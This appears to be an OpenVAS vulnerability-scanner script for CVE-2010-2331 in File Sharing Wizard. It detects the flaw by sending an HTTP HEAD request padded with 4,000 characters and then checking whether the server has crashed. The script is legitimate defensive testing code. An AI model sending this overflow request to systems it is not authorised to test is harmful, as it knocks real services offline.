File Sharing Wizard 'HEAD' Command Remote Buffer Overflow Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_fs_40928.nasl 5676 2017-03-22 16:29:37Z cfi $
#
# File Sharing Wizard 'HEAD' Command Remote Buffer Overflow Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "File Sharing Wizard is prone to a remote buffer-overflow
vulnerability because it fails to perform adequate boundary checks on
user-supplied input.

Successfully exploiting this issue may allow remote attackers to
execute arbitrary code in the context of the application. Failed
attacks will cause denial-of-service conditions.

File Sharing Wizard 1.5.0 is vulnerable; other versions may also
be affected.";


if (description)
{
 script_id(100745);
 script_version("$Revision: 5676 $");
 script_tag(name:"last_modification", value:"$Date: 2017-03-22 17:29:37 +0100 (Wed, 22 Mar 2017) $");
 script_tag(name:"creation_date", value:"2010-08-05 13:46:20 +0200 (Thu, 05 Aug 2010)");
 script_tag(name:"cvss_base", value:"9.3");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
 script_cve_id("CVE-2010-2331");
 script_bugtraq_id(40928);

 script_name("File Sharing Wizard 'HEAD' Command Remote Buffer Overflow Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/40928");
 script_xref(name : "URL" , value : "http://www.sharing-file.net/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_DENIAL);
 script_family("Buffer overflow");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");

port = get_http_port( default:80 );

url = string("/"); 
buf = http_get_cache(item:url, port:port);

if("File Sharing Wizard" >!< buf)exit(0);

if(http_is_dead(port:port))exit(0);

soc = open_sock_tcp(port);
if(!soc)exit(0);

ex = crap(data:"D", length: 4000);
send(socket:soc,data:string("HEAD ",ex," HTTP/1.0\r\n\r\n"));
close(soc);

sleep(5);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}  

exit(0);